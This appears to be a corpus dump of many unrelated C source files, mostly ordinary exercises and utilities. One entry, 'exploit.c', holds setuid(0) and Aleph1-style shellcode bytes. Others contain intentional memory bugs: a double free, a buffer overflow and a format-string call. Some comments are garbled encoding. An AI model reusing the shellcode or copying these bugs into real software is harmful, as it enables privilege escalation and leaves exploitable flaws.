language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
//#include <iostream> #include <stdio.h> int main() { int i =10; char *elem_char_pointer = ( char * ) (&i); printf("\nchar *==== %d and i==== %d" ,*elem_char_pointer , * ( char * ) (&i) );; }
C
#ifndef _STRING_H_ #define _STRING_H_ #include <size_t.h> #include <_null.h> #include <errno.h> #include <stdint.h> int strcmp(const char* str1, const char* str2); int strncmp(const char* str1, const char* str2, size_t size); int strcasecmp(const char* str1, const char* str2); int strncasecmp(const char* str1, const...
C
#include "cream.h" #include "utils.h" #include "hashmap.h" #include "queue.h" #include "csapp.h" #include <string.h> #include <stdio.h> #include <errno.h> #include <signal.h> #define UNKNOWN 0x80 #define HELP(prog_name) \ do{ \ fprintf(stderr, \ "%s [-h] NUM_WORKERS ...
C
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward d...
C
#include <stdio.h> #include <stdlib.h> #include <math.h> #include <string.h> #include "helpers-misc.h" #include "emb-logging.h" /*! Rounds a double (\a src) and returns it as an \c int. */ int roundDouble(double src) { if(src < 0.0) return (int) ceil(src - 0.5); return (int)floor(src+0.5); } /*! Retur...
C
#include "spdk/stdinc.h" #include "spdk/nvme.h" #include "spdk/vmd.h" #include "spdk/env.h" #include "sys/time.h" #include <termio.h> #include <unistd.h> static struct ctrlr_entry *g_controllers = NULL; static struct ns_entry *g_namespaces = NULL; struct ctrlr_entry { struct spdk_nvme_ctrlr *ctrlr; struct ctrlr_ent...
C
#include <stdio.h> #include "server.h" char buffer[MAXMSG]; static int setFlag = 0; int inputAvailable() { struct timeval tv; fd_set fds; tv.tv_sec = 0; tv.tv_usec = 0; FD_ZERO(&fds); FD_SET(STDIN_FILENO, &fds); select(STDIN_FILENO+1, &fds, NULL, NULL, &tv); int nbytes; if(FD_ISSET(0, &fds)) { ...
C
// // OperationStack.h // Real Estate Agency // // Created by Andrei-Sorin Blaj on 25/04/2017. // Copyright © 2017 Andrei-Sorin Blaj. All rights reserved. // #ifndef OperationStack_h #define OperationStack_h #include <stdio.h> #include <stdlib.h> #include "../model/DynamicArray.h" typedef struct { Estate* e...
C
#include <stdio.h> int main(){ int i,n; double a,b,c; scanf("%d",&n); for(i=0;i<n;i++){ scanf("%lf %lf %lf",&a,&b,&c); printf("%.1lf\n",(a*2+b*3+c*5)/10); } return 0; }
C
#include <stdio.h> #include<string.h> struct tagSTUDENT { int no; char name[100]; int age; char qq[100]; char secret[100]; }; int target=-1; int size=0; struct tagSTUDENT users[1000]; struct message { char from[100]; char to[100]; char content[1000]; }; struct messag...
C
#include <stdio.h> #include <stdlib.h> #include <string.h> /* Program Name: daysCalculatorC.c Author: Tina Tissington Last Update: Sept. 17, 2019 Function: to find how many days are between two dates Compilation: gcc -ansi -o daysCalculatorC daysCalculatorC.c Execution: ./daysCalculatorC dd1-mm1-yyyy1 dd2-mm2-yy...
C
#include <stdio.h> typedef struct Punto_{ int x; int y; }Punto; void moltiplica(int a, int b); void molt(int* a, int* b); int mul(int a, int b); void assegnaPunto(Punto *a); int main() { int *p; int variabile = 3; p = &variabile; printf("p: %d\n" , *p); int mat[3][4]; mat[0][0] = 2; ...
C
#include<stdio.h> #include<omp.h> #include<time.h> int min(int a,int b) { return(a<b)?a:b; } void floyds(int cost[10][10],int n) { int i,j,k; #pragma omp parallel private(i,j,k) shared(cost)for(k=1;k<=n;k++) for(i=1;i<=n;i++) for(j=1;j<=n;j++) cost[i][j]=min(cost[i][j],c...
C
/* 6.Considere uma disciplina que adota o seguinte critério de aprovação: os alunos fazem duas provas (P1 e P2) iniciais; se a média nas duas provas for maior ou igual a 5.0, e se nenhuma das duas notas for inferior a 3.0, o aluno passa direto. Caso contrário, o aluno faz uma terceira prova(P3) e a média é calculada ...
C
/* TAD para fila dinamica */ /* DEFINES */ /* VARIAVEIS */ typedef int elem; typedef struct no { elem info; elem prioridade; struct no *prox; } no; typedef struct { int qtd_elementos; no *ini, *fim; } Fila; /* FUNCOES */ void criaFila(Fila *F); int entraFila(Fila *F, elem *x, elem *p...
C
#include "lists.h" /** * check_cycle - check if there is a cycle on a list * @list: pointer to the head of the data struck * Return: 0 if there is not cycle, 1 for a cycle. */ int check_cycle(listint_t *list) { listint_t *fast, *slow; if (list == NULL || list->next == NULL) return (0); slow = list; fast = l...
C
// ******************************************************* // // heliHMI.h // // Support for the HMI of the helicopter // // Author: Zeb Barry ID: 79313790 // Author: Mitchell Hollows ID: 23567059 // Author: Jack Topliss ID: 46510499 // Group: Thu am 22 // Last modified: 21.5.2019 // // *****...
C
#include <stdio.h> #include <stdlib.h> #include "list.h" int main(){ struct node *test; printf("New list: \n"); print_list(test); test = insert_front(test, 22); printf("Adding 22: \n"); print_list(test); test = insert_front(test, -68); printf("Adding -68: \n"); print_list(test); test = insert...
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* get_next_line_bonus.c :+: :+: :+: ...
C
#ifndef _CFL_TYPE_TYPES_H_ #define _CFL_TYPE_TYPES_H_ typedef enum { CFL_TYPE_VARIABLE, CFL_TYPE_BOOL, CFL_TYPE_INTEGER, CFL_TYPE_CHAR, CFL_TYPE_LIST, CFL_TYPE_TUPLE, CFL_TYPE_ARROW } cfl_type_type; typedef struct cfl_type_t { cfl_type_type type; unsigned int id; void* input; ...
C
#include "stdio.h" #define OM_LOG(str, ...) printf(str, ##__VA_ARGS__) int main() { int a = 10; int b = 20; printf("%s, a=%d, b=%d\n", __FUNCTION__, a, b); OM_LOG("%s, a=%d, b=%d\n",__FUNCTION__, a, b); OM_LOG("just str\n"); return 0; }
C
/** * Inspriation: https://github.com/tmick0/toy-queue * Blog post: https://lo.calho.st/posts/black-magic-buffer/ */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdarg.h> #include <fcntl.h> #include <errno.h> #include <linux/memfd.h> #include <sys/syscall.h> #include <sy...
C
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<time.h> #include"functions.h" void SalvaRegistro(Registro b){ FILE* arq = fopen("registro.dat", "w"); fwrite(&b, sizeof(Registro), 1, arq); fclose(arq); } void CarregaRegistro(Registro *b){ FILE* arq = fopen("registro.dat", "r"); ...
C
// // Objects.c // SDL_ACCEL11 // // Created by Ben on 8/18/20. // Copyright © 2020 Ben. All rights reserved. // #include "Objects.h" float calcPlaneT(Ray ray, struct Object* plane) { float d = simd_dot(plane->n, ray.direction); if (d > 0.0f) { return -1.0f; } simd_float3...
C
/* * Copyright (c) 2018 Valentin Cassano. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, version 3. * * This program is distributed in the hope that it will be useful, but * WITHOUT A...
C
01 介绍课程内容 HTML5课时:4.5天 主要内容:"HTML语法 + CSS结构 + JS + jQuery 02 HTMl5简单介绍 ① W3C组织花费了8年的时间于2014年制定了HTML5的标准 ② 移动先行,即在制定标准的时候优先考虑移动端的实现 ③ 使用和学习的必要性 1)"跨平台" 能够运行在所有拥有浏览器的平台 2)运行平台是:"浏览器",运行的成本低 3)当前HTML5尚不能完全取代原生应用 ④ 如何使用HTML5 =>自己实现所有的部分|使用现成的框架(Bootstrap等) 1)站点入口=>i...
C
#include<stdio.h> #include<stdlib.h> #include<string.h> struct dir { char dname[60]; char files[80][80]; }; struct dir d[50]; void sub() { printf("\n 1)Create Directory\n 2)Create File\n 3)Display files\n 4)Delete directory\n 5)Delete file\n 6)Search\n 0)Exit\n\n Select Option: "); int option; char dname[50]...
C
#include <stdio.h> int d[100000][2], a[100000][2]; int max(int x, int y) { return x<y?y:x;} int main(){ int T; scanf("%d", &T); while(T--){ int n; scanf("%d", &n); for (int i=0; i<n; i++) scanf("%d", &a[i][0]); for (int i=0; i<n; i++) scanf("%d", &a[i][1]); d[0][0]=a[0][0], d[0][1] =a[0][1]; for (int i...
C
/* ** String.c for Project-Master in /home/tekm/tek1/cpp_d03/ex00 ** ** Made by leroy_0 ** Login <leroy_0@epitech.eu> ** ** Started on Fri Jan 6 10:22:26 2017 leroy_0 ** Last update Fri Jan 6 10:22:27 2017 leroy_0 */ #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include "String...
C
#include "stdio.h" int main(void) { int area_code; printf("%s", "Please enter a Georgia area code: "); scanf("%d", &area_code); switch (area_code) { case 229: printf("%s\n", "Albany"); break; case 478: printf("%s\n", "Macon"); break; ...
C
/* * File: main.c * Author: digibird1 * (c) 2015 * https://digibird1.wordpress.com/ http://www.microchip.com/forums/m827267.aspx#828385 It seems for the output registers it is good to have a shadow * register to avoid read-modify-write-effect */ #define _XTAL_FREQ 8000000 #include <xc.h> #include <pic...
C
#include "unit.h" /************ UNIT *********************/ UNIT Unit_CreateEmpty(POINT P) { UNIT U; U.Location = P; U.Type = ' '; U.Owner = 0; U.Max_Health = 50; U.Health = 50; U.Attack = 10; U.Movement = 1; U.Attack_Type = Melee; U.Price = 0; boolean Attack_Chance = false; boolean Controlled = false; ...
C
/** * This program * * @author Bethany Armitage * Course: Comsb25 * Created: Sat 09/28/2013 * Source File: pointersAndArraysMain.c */ #include <stdio.h> #include <stdlib.h> #include <time.h> void concatStrPtr(char *dstr, const char *src); void concatStrIndex(char dstr[], const char src[]); int main(){ char dstr1[...
C
#include <stdio.h> int main(void) { typedef enum { false = 0, true = !false } bool; bool drinking_age; int age; printf("Enter your age: "); scanf("%d", &age); if (age < 21) { drinking_age = false; } else { drinking_age = true; } if (drinking_age) { printf("You are of drinking age\n"); } else { ...
C
/* $OpenBSD: atomic.h,v 1.9 2014/07/19 05:27:17 dlg Exp $ */ /* Public Domain */ #ifndef _VAX_ATOMIC_H_ #define _VAX_ATOMIC_H_ #if defined(_KERNEL) #include <machine/mtpr.h> #include <machine/intr.h> static __inline void atomic_setbits_int(volatile unsigned int *uip, unsigned int v) { int s; s = splhigh(); *ui...
C
#include <stdio.h> typedef struct _sbj{ int k; int s; }sbj; void swap(sbj* a, sbj* b){ sbj tmp = *a; *a = *b; *b = tmp; } void sort(sbj* arr, int len){ int swaped; while(1){ swaped = 0; for(int i=0;i<len-1;i++){ if(arr[i].s<arr[i+1].s){ swap(&arr[i...
C
/* * EULER'S ALGORITHM 5.1 * * TO APPROXIMATE THE SOLUTION OF THE INITIAL VALUE PROBLEM: * * Y' = F(T,Y), A <= T <= B, Y(A) = ALPHA, * * AT N+1 EQUALLY SPACED POINTS IN THE INTERVAL [A,B]. * * INPUT: ENDPOINTS A, B; INITIAL CONDITION ALPHA; INTEGER N. * * OUTPUT: APPROXIMATION W...
C
/*O_RDONLY, O_WRONLY, O_CREAT, O_* */ #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #define SIZE 1024 /* open(const char*path, int oflag [, mode]); * ssize_t read(int fildes, void*buf, size_t nbyte); * ssize_t write(int fildes, const void*buf, size_t nbyte); * off_t lseek(int f...
C
#include "cmsis_os2.h" // ARM::CMSIS:RTOS2:Keil RTX5 #include "board.h" static void vLEDTask (void *argument) { volatile bool LedState = false; while (1) { osThreadFlagsWait(0x0001, osFlagsWaitAny ,osWaitForever); Board_LED_Set(0, LedState); LedState = (bool)...
C
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> #include <pthread.h> typedef struct login_pack { char user[20]; char pass[20]; } login_pack; typedef struct header { char size[10]; char name[50...
C
#include <math.h> #include "matrix.h" #include "tool.h" struct complex_number { float r; float i; }; complex_number complex_number_i = {0,1}; complex_number complex_number_div(complex_number c,float d) { c.r = c.r/d; c.i = c.i/d; return c; } complex_number complex_number_mul(complex_number c1,complex_number c...
C
#include "time-cmap.h" #include "mem-cmap.h" // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - static void PrintCalc(char *text, clock_t t){ uint32_t seconds = t / CLOCKS_PER_SEC; if(seconds <= 60) fprintf(stdout, "%s cpu time: %u second(s).\n", text, seconds); else if(seconds <...
C
/****************************************************/ /* File: symtab.c */ /* Symbol table implementation for the TINY compiler*/ /* (allows only one symbol table) */ /* Symbol table is implemented as a chained */ /* hash table ...
C
#include "dominion.h" #include "dominion_helpers.h" #include <string.h> #include <stdio.h> #include <assert.h> #include "rngs.h" #include <stdlib.h> //checks that buyCard(int supplyPos, struct gameState *state) works. int supply pos is something like "estate", it's the card name. int main() { int seed = 1000; ...
C
#include <stdio.h> int tmult_ok(int x, int y) { int64_t q = (int64_t)x * y; return q == (int32_t)q; } int tmult_ok_book(int x, int y) { int q = x * y; return x == 0 || q / x == y; } int main(int argc, char *argv[]) { /* * 0 * 0 * 0 * 0 * 1 * 1 */ printf("%d\...
C
#include "sniffer.h" //Finds BPF Device void pick_device(bpfsnif *snif){ char name[11]={0}; for (int i = 0; i < 99; ++i) { sprintf(name, "/dev/bpf%i", i); snif->fd = open(name, O_RDWR); if (snif->fd != -1) { strcpy(snif->devName, name); return; } } }...
C
#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<getopt.h> #include<sys/stat.h> #include<dirent.h> #include<sys/types.h> #include<pwd.h> #include<grp.h> #include<time.h> #include<string.h> int parent(int argc, char**argv, char* dirname) { printf("We used only the parent argument\n"); int j = ...
C
#include<stdio.h> char arr[100]; int j; int comb(int n); void myprint(char arr[]); int main() { int n,i,p; scanf("%d",&n); p=0; comb(n); return 0; } int comb(int n) {int i,x,v; int t; if(n==0) return 0; else if(n==1) { arr[j++] ='('; arr[j++] =')'; i...
C
#include <stdio.h> #include <stdlib.h> #include "table.h" #include "compiled_query.h" extern FILE * getDataFile(char * tableName, char * mode); int delete(CompiledQuery * compiledQuery, Table * table, FILE * dataFile, int filePointer) { rewind(dataFile); fseek(dataFile, filePointer, SEEK_CUR); unsigned c...
C
//exploit.c #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x0...
C
#include <stdio.h> #include <cs50.h> #include <math.h> int main(){ float dolloars; //get dolloars from user input,if a good input then go out of loop while(1){ dolloars=get_float("Change owed: "); if (dolloars>=0){ break; } } //chage dolloars to cents int c...
C
#include <stdio.h> #include <stdlib.h> int main() { int* data; int x = 33; data = malloc(5 * sizeof(int)); if(!data) { return -1; } *data = x; printf("%i\n", *data); free(data); #ifndef NO_BUG free(data); #endif return 1; }
C
#include <stdio.h> void change(int n){ if (n < 10){ printf("%c", n +'0'); }else if ( n >= 10 && n <= 15) { printf("%c", n + 'A' - 10); }else { change(n / 16); if ((n % 16) < 10 ){ printf("%c",(n % 16) + '0'); }else if ( (n % 16) >= 10 && (n % 16) <= 15){ ...
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <conio.h> #include "auto.h" #include "marca.h" #include "color.h" #include "servicio.h" #include "trabajo.h" #include "validaciones.h" #include "cliente.h" #include "informes.h" #define VACIO 0 #define OCUPADO 1 #define TAM 24 #def...
C
// this was written by me Glen Millard - no, I didn't steal it. I borrowed it! You can have it back whenever you want // seriously this is my code for Unit 2 - hopefully this is what you are looking for. #include <stdio.h> #include <unistd.h> #include <assert.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/...
C
#include "alg.h" #define SM3_BLOCK_SIZE 64 #define SM3_ROTL(x,n) ((x<<n)|(x>>(32-n))) #define FF1(a,b,c) ((a)^(b)^(c)) #define FF2(a,b,c) (((a)&(b))|((a)&(c))|((b)&(c))) #define GG1(a,b,c) ((a)^(b)^(c)) #define GG2(a,b,c) (((a)&(b))|((~a)&(c))) #define P1(a) (a^SM3_ROTL(a,9)^SM3_ROTL(a,17)) #define P2(a) (a^SM3_ROTL(...
C
/* ** additonal_channel_functions.c for irc in /home/giubil ** ** Made by giubil ** Login <giubil@epitech.net> ** ** Started on Sun Apr 12 22:55:20 2015 giubil ** Last update Sun Apr 12 22:56:20 2015 giubil */ #include <string.h> #include "server.h" int join_channel(t_client_info *client, char *cmd, t_channel **ch...
C
/** * @file utilities.h * @author André Botelho (keyoted@gmail.com) * @brief Algumas utilidades comuns. * @version 1 * @date 2020-01-04 * * @copyright Copyright (c) 2020 */ #ifndef UTILITIES_H #define UTILITIES_H #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> char* strdu...
C
/* Chapter 22 Exercise 4 */ #include <stdio.h> /* Show how each of the following numbers will look if displayed by printf * with %#012.5g as the conversion specifier * * a) 83.7361 * b) 29748.6670 * c) 1054932234.0 * d) 0.0000235218 */ int main(void) { printf("\n%s", "Show how each of the following numbers w...
C
/* Card being tested: adventurer * Bilal Saleem * Intro to SE II - Assignment 4 - 2/11/17 */ #include "dominion.h" #include "dominion_helpers.h" #include "rngs.h" #include <stdio.h> #include <stdlib.h> #include <string.h> void setDeck(struct gameState * G, int * deck, int numCards, int playerNum); void setHand(stru...
C
/* ** EPITECH PROJECT, 2020 ** rpg_repo ** File description: ** get_circle_distance.c */ #include "../include/my_rpg.h" float get_distance(int cx, int cy, int x, int y) { float xdist = x - cx; float ydist = y - cy; float res = sqrtf(pow(xdist, 2) + pow(ydist, 2)); return (res); }
C
#include <alsa/asoundlib.h> #include <stdbool.h> #include <string.h> #include <strings.h> #include "alsa_utils.h" #include "wutil.h" // TODO: rename to util.h /* Alsa api documentation: * http://www.alsa-project.org/alsa-doc/alsa-lib/group___mixer.html */ /* Get alsa handle */ snd_mixer_t* get_handle() { snd_...
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "url_coder.h" #ifdef BENCHMARK_USE_RDTSC static unsigned long long rdtsc(void) { unsigned long long x; __asm__("rdtsc" : "=A" (x)); return x; } #define BENCHMARK 1 #elif defined(BENCHMARK_USE_MACH) #include <mach/mach_time.h> #define rdtsc() mac...
C
/* ============================================================================ Name : 184.c Author : Version : Copyright : Your copyright notice Description : Hello World in C, Ansi-style ============================================================================ */ #include <stdio.h> #inc...
C
#include <stdio.h> #include <stdlib.h> // This contains the DECLARATION of the string functions we're using below #include <string.h> int main (int argc, char ** args) { const char str[] = "this is NULL terminated!"; // We're telling printf that we will give it a %u (= unsigned int) // but we're giving it ...
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* new_primitives.c :+: :+: :+: ...
C
#include <stdio.h> #include <stdlib.h> #define Status int #define OVERFLOW -2 #define OK 1 #define ERROR 0 // ------------- ҵҪ ------------- // // 1.Cʵ6*.cļд // 2.ҵɺ뷢863255386@qq.com,⣺04-ݽṹ-queue-X--ѧ // 3.ֹʱ2019-10-27 // 4.ཻллϣ //------------- ѭСеĶ̬˳洢ṹ ------------- #...
C
#include<stdio.h> int main() { int iArray[5],index,temp; printf("please enter an Array:\n"); for(index=0;index<5;index++) { scanf("%d",&iArray[index]); } printf("Original Array is:\n"); for(index=0;index<5;index++) { printf("%d ",iArray[index]); } printf("\n"); for(index=0;index<2;index++) { temp=...
C
/* ** unset_vars.c for 42sh in /home/somasu_b/rendu/42sh/src/built/o ** ** Made by somasu_b ** Login <somasu_b@epitech.net> ** ** Started on Sun May 25 19:31:32 2014 somasu_b ** Last update Thu May 29 21:54:11 2014 somasu_b */ #include <string.h> #include <unistd.h> #include <stdlib.h> #include "sh.h" static t_var...
C
#include "translation.h" #include <stdlib.h> #include <stdio.h> #include <string.h> #include "hectorc.h" #define UNEXPECTED_OPERANDS(L,R) fprintf(stderr,\ "(%s:%d) Unexpected operand types: %s and %s\n",\ __FILE__, __LINE__, sem_type_to_str((L)->type), sem_type_to_str((R)->type)); static const char *matrix_attr...
C
/*teacher homework give us*/ /*Calculates the number of small letters in an array */ /* by chenchen */ #include <stdio.h> int main() { char str[100],i; int j,k,a,b; printf("give me string \n"); scanf("%s",&str[100]); int fun(char str[100]); a=fun(i); b=fun(k); printf("%c have %d numb...
C
/** * <waypoints.h> * * @brief Functions to read the waypoint file and handle the path * * Program expects waypoint file of the form (no line numbers in actual file): * * ~~~ * 1: t x y z xd yd zd r p y rd pd yd * 2: t x y z xd yd zd r p y rd pd yd * ... * n: t x y z xd yd zd r p y rd pd y...
C
/** * @file main.c * * Ficheiro que contêm a função principal do programa,que lê uma linha * e no fim de executar as operações necesárias imprime o conteúdo da stack. * */ #include <stdio.h> #include <assert.h> #include <stdlib.h> #include <string.h> #include "parser.h" #include "pushpop.h" #include "variables.h"...
C
#include <stdio.h> #include <stdlib.h> int * cria_vetor (int n) { int *v, i; v=(int*) malloc (n* sizeof(int)); for(i=0; i<n; i++) { v[i] = i; } return v; } int main () { int *v1, v2; v1 = cria_vetor (5); v2 = cria_vetor (10); printf(" %d \n %d", v1, v2); //..................................... free ...
C
#include<stdio.h> int transfer(int n,int bits,int bit) { return (((((~0)<<bits)^((~0)<<(bits+bit)))&n)>>bits); } void printbits(int n) { int m=1; int i; for(i=sizeof(n)*8-1;i>=0;i--) { printf("%d",(n>>i)&m); if(i%8==0) printf("\t"); } return; } typedef struct{ ...
C
/* $CORTO_GENERATED * * Literals.c * * Only code written between the begin and end tags will be preserved * when the file is regenerated. */ #include <include/test.h> corto_void _test_Literals_tc_false( test_Literals this) { /* $begin(test/Literals/tc_false) */ /* Compile template */ corto_t *t = c...
C
#include "holberton.h" /** *print_triangle - prints a triangle, followed by a new line *@size: size of the triangle * *Prototype: void print_triangle(int size); *You can only use _putchar function to print *Where size is the size of the triangle *If size is 0 or less, the function should print only a new line *...
C
/* * dazhengshujianfa.cpp * * Created on: 2010-11-17 * Author: Administrator */ int main(){ int n,i,j,lenth1,lenth2,carry; carry=0; cin>>n; char a[101],b[101],c[101]; for(i=1;i<=n;i++){ carry=0; cin>>a; cin>>b; lenth1=strlen(a); lenth2=strlen(b); for(j=lenth2;j<lenth1;j++){ ...
C
#ifndef VIEW_H #define VIEW_H /* * Contains all the code to handle ncurses related tasks. * Things like initializing the screen, closing the screen, etc. */ /* NOTE Runs in a standard 24x80 terminal */ #define M_SCRWIDTH (80) #define M_SCRHEIGHT (24) #define M_RED (1) #define M_GREEN (2) #define M_YELLOW (3) #def...
C
/* * LowestCommonAncestorOfBST1.c * * Created on: Sep 22, 2016 * Author: xinsu * * Using a queue to store the path to find p, and then compare the path to find q with the queue. */ /* * Given a binary search tree (BST), find the lowest common ancestor (LCA) of two given nodes in the BST. * * According ...
C
#include "stdio.h" #include "stdlib.h" #include "string.h" int amt = 0;//Количество записей struct phonebook { int id; char name[21]; char surname[21]; char number[16]; }; struct phonebook* subs; void print_menu()//Вывод меню { printf("Выберите пункт меню:\n\n" "1. Добавить за...
C
/* Nicholas Grout */ /* Unroll the loop k=4 times */ void ByteMult(unsigned long* a, unsigned long* b, unsigned long*c, long n) { long i=0, j=0, k=0; long remainder = n % 4; long iter = n - remainder; unsigned long sum; for (i = 0; i < n; i++) { long in = i*n; for (j = 0; j < n; j++) { sum = 0...
C
#include "main.h" uint16_t nextDir[300] = {0}; int32_t length[300] = {0}; int32_t tempDistance[SIZEX][SIZEY]; int32_t tempCell[SIZEX][SIZEY]; uint16_t pathSLR[300] = {0}; uint16_t path[300] = {0}; int32_t generatePathDiag(uint16_t targetX, uint16_t targetY) { if (generatePathSLR(targetX, targetY) == 0) { // if erro...
C
/** ****************************************************************************** * @file LCD1602X4bit.h * @author Ho Sy Hoang * @date 17 April 2020 ****************************************************************************** */ //my english is a bit bad, so please understand me =)) #ifndef __LCD160...
C
#include <stdio.h> #include <unistd.h> #include <sys/time.h> #include <signal.h> #include <math.h> #include <ypspur.h> #include <scip2awd.h> int escape; void ctrlc( int notused ) { // MDコマンドを発行したままプログラムを終了すると、 // 次回起動時に少し余分に時間がかかる escape = 1; signal( SIGINT, NULL ); } int main( int argc, char *argv[] ) { S2Port...
C
/*Write a program using pointers to find the smallest number in an array of 25 integers.*/ #include <stdio.h> int main() { int i,n,a[25]={}; printf("Enter 25 numbers: "); for(i=0;i<25;i++) scanf("%d",&a[i]); n=*a; for(i=0;i<=24;i++) { if(*(a+i)<n) n=*(a+i); } printf("smallest number in array: %d\n",n); ...
C
#include<stdio.h> #include<conio.h> void main() { int a,b,i; printf("enter number"); scanf("%d",&a); printf("enter a range"); scanf("%d",&b); for(i=0;i<=b;i++) { printf("%d*%d=%d\n",a,i,a*i); } getch(); }
C
#include <stdio.h> void interchange(int u, int v); int main(){ int x=5, y=10; printf("main() 교환 전 x= %d, y=%d\n", x, y); interchange(x, y); printf("main() 교환 후 x= %d, y=%d\n", x, y); return 0; } void interchange(int u, int v){ int temp; printf("interchange() 교환 전 x= %d, y=%d\n", u, v); ...
C
inherit "/players/vertebraker/closed/std/room.c"; #include "../../defs.h" #include "../../room_funcs.h" #define COST 3000 #define SP_COST 40 #define MAX_LEVEL 18 reset(arg) { if(arg) return; set_light(1); set_short("Clan Hall - critter room"); set_long("room with a critter you can summon.\n"+ "...
C
#pragma once #include <SDL2/SDL.h> #include <stdio.h> #include <stdlib.h> #include <string.h> struct entity_node; typedef struct entity_node { //Pointers kept to step and render functions so they can be called //by main void (*step)(void* in); //'in' cast to appropriate type from within void (*render)(void* in); ...
C
#include <stdio.h> #include <stdlib.h> #include <math.h> int main (void){ float a, b; printf ("Ponha o valor de a aqui:"); scanf ("%f", &a); printf ("Ponha o valor de b aqui:"); scanf ("%f", &b); if (a == b){ printf ("O menor valor eh igual ah: %.3f", a); }else{ if (a ...
C
#include <stdio.h> #include <string.h> #include <stdlib.h> int main(void) { char myStr[4] = "cat"; strcpy(myStr, "bird"); printf(myStr); return 0; }
C
/** * @file main.c * * Hlavní část překladače * * IFJ Projekt 2018, Tým 13 * * @author <xforma14> Klára Formánková * @author <xlanco00> Jan Láncoš * @author <xsebel04> Vít Šebela * @author <xchalo16> Jan Chaloupka */ #include "main.h" #define SYNTAX_TESTS 11 #define SEMANTIC_TESTS 13 int main(/*int argc, ...
C
/* algo2-4.c ޸㷨2.7ĵһѭеΪ䣬ҵ */ /* *pa=*pbʱֻ֮һLc˲Ľ㷨2.1ͬ */ #include"c1.h" typedef int ElemType; #include"c2-1.h" #include"bo2-1.c" #include"func2-3.c" /* equal()comp()print()print2()print1() */ void MergeList(SqList La,SqList Lb,SqList *Lc) { /* һֺϲԱķ(㷨2.7µҪ޸㷨2.7)LaLbLcΪеı */ ElemType *pa,*pa_last,*pb,*pb_la...
C
#include <stdio.h> #pragma warning(disable:4996) int main() { //char a = 's'; ////char a; //char b; //b = getchar(a); //printf("%c ", a); ////putchar(a); //printf("\n"); char a; a = getchar(); printf("%c \n", a); return 0; }
C
#ifndef SYSTEM_STRING_LEXER_H #define SYSTEM_STRING_LEXER_H //////////////////////////////////////////////////////////// // Headers //////////////////////////////////////////////////////////// #include <Config.h> #include <stdio.h> #include <System/String/bstrlib.h> /////////////////////////////////////////...
C
# include "func.h" # include <stdio.h> # include <string.h> # include <math.h> void DISTANCE(char *argv_2, char *argv_3, char *argv_4, char *argv_5){ double x1, y1, x2, y2; sscanf(argv_2, "%lf", &x1); sscanf(argv_3, "%lf", &y1); sscanf(argv_4, "%lf", &x2); sscanf(argv_5, "%lf", &y2); printf("distance: %.2lf\n", ...
C
#include <stdio.h> #include "Random.h" #include "Structure.h" #include "RedBlackTree.h" #include "TestStructure.h" #include "CException.h" #include "ErrorCode.h" #include "malloc.h" #include "time.h" #define FOR_TEST #define Lecture 'l' #define Tutorial 't' #define Practical 'p' Cla...
C
#include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> int main(){ // char **Matrix,**z; int ROW,COLUMN; // char z[COLUMN][ROW]; int i,j,k=0,b; char a[100]; printf("the plain text is:"); fgets(a,100,stdin); printf("enter the key value:"); scanf("%d",&ROW); b=strlen(a); printf("%d\n"...
C
/* gethostname(), getdomainname() uname() syscall is used in both */ #include <unistd.h> #include <string.h> #include <errno.h> /* Return hostname (e.g. "dksrv") in @buf */ int gethostname (char *buf, int sz) { struct utsname u; if (sz < _UTSNAME) { /* Too small buffer */ errno = EINVAL; return -1; } uname...